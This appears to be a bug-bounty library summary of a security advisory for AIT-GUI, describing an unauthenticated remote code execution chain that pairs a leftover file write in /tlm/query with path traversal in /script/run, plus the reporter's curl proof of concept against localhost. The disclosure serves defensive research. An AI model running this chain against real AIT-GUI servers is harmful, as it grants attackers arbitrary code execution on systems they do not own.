# AIT-GUI route chain allows unauthenticated Python execution in server process

Unauthenticated attacker writes Python into fields_in.txt via /tlm/query error path, then executes it through path-traversal in /script/run, achieving RCE.

- Payout: Research
- Severity: high
- Program: AIT-GUI
- Found by: Rat5ak
- Disclosed: 2026-11-20
- CVE: CVE-2026-77309
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-jrjx-9jjw-747m
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-jrjx-9jjw-747m
- Tags: area:web domain:web impact:rce kind:research platform:ghsa sev:high tech:python technique:chained technique:source-review vuln:file-upload vuln:path-traversal vuln:rce

**Target:** AIT-GUI web server (Flask-style HTTP endpoints /tlm/query and /script/run)
**Root cause:** /script/run joins user-supplied scriptPath with ScriptRoot and only checks existence, unlike /scripts/load which enforces containment. /tlm/query writes user-controlled fields to a static file and skips cleanup on the no-PCAP 400 error path.
**Steps:**
1. `rm <path>/fields_in.txt` to confirm absence
2. `curl -X POST http://localhost:8080/tlm/query -d "dataDir=<path>" -d "timeField=time" -d "packet=CCSDS_HEADER" -d "fields=field1,field2,field3" -d "startTime=2026-07-01T00:00:00" -d "endTime=2026-07-10T00:00:00" -o query_out.csv` — returns 400 (no PCAP) but leaves fields_in.txt
3. `curl -c cookies.txt -v http://localhost:8080/ -o /dev/null` to obtain sid cookie
4. `curl -X POST http://localhost:8080/script/run -d "scriptPath=../exploit.py" -b cookies.txt` executes arbitrary Python outside scripts.directory
**How found:** Reporter compared /scripts/load/<name>, which has a path containment check, against /script/run, which only checks existence, then looked for a writable file reachable via traversal and found /tlm/query's fields_in.txt left behind on the no-PCAP error path.
**Exploitation:** Attacker with network access to the AIT-GUI HTTP port (server binds 0.0.0.0) needs no credentials: GET / yields a sid cookie, POST /tlm/query plants attacker-controlled content in a static file that survives the 400 error, then POST /script/run with a relative path escapes ScriptRoot and the file is read and executed as Python in the daemon process (uid of the service user).
**Escalation:** Chained a file-write primitive (incomplete cleanup on error path) with a path-traversal file-execution primitive to convert an unauthenticated request into code execution.
**Insight:** When one sibling endpoint enforces path containment and another doesn't, diff them; then hunt for any attacker-writable file inside the allowed root — error paths that return before cleanup are prime write primitives.

## Proof of concept (copied exactly from the original report)

**curl POST to /tlm/query writing fields_in.txt**

```
# Remove file to ensure nothing exists
AIT-GUI % rm <path>/fields_in.txt

# With server started, send POST request to /tlm/query endpoint
AIT-GUI % curl -X POST http://localhost:8080/tlm/query \  -d "dataDir=<path>" \     
  -d "timeField=time" \
  -d "packet=CCSDS_HEADER" \
  -d "fields=field1,field2,field3" \
  -d "startTime=2026-07-01T00:00:00" \
  -d "endTime=2026-07-10T00:00:00" \
  -o query_out.csv
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   925  100   782  100   143  34798   6363 --:--:-- --:--:-- --:--:-- 42045

# AIT-server log verify that PCAP file cannot be found:
2026-07-10T11:46:37.873 | ERROR    | Unable to locate PCAP files for query given data directory <path>

# Verify file is created and not cleaned up
AIT-GUI % cat <path>/fields_in.txt
field1
field2
field3
```

**curl POST /script/run with path traversal**

```
# Generate session cookie
curl -c cookies.txt -v http://localhost:8080/ -o /dev/null

# Execute example script which currently exists in configured scripts.directory in config.yaml
(venv) AIT-GUI-ghsa-jrjx-9jjw-747m % cat config.yaml | grep script
    script:
        directory: ./scripts

(venv) AIT-GUI-ghsa-jrjx-9jjw-747m % ls scripts
example_script.py

# Create exploit script "exploit.py" outside of configured location
(venv) scripts % ls ../exploit.py 
../exploit.py

# Perform request to example_script.py. This script prints 'correct'
(venv) AIT-GUI-ghsa-jrjx-9jjw-747m % curl -X POST http://localhost:8080/script/run -d "scriptPath=example_script.py" -b cookies.txt

# Perform request to exploit.py, which exists outside of configured location. This script prints 'exploited'
(venv) AIT-GUI-ghsa-jrjx-9jjw-747m % curl -X POST http://localhost:8080/script/run -d "scriptPath=../exploit.py" -b cookies.txt
```

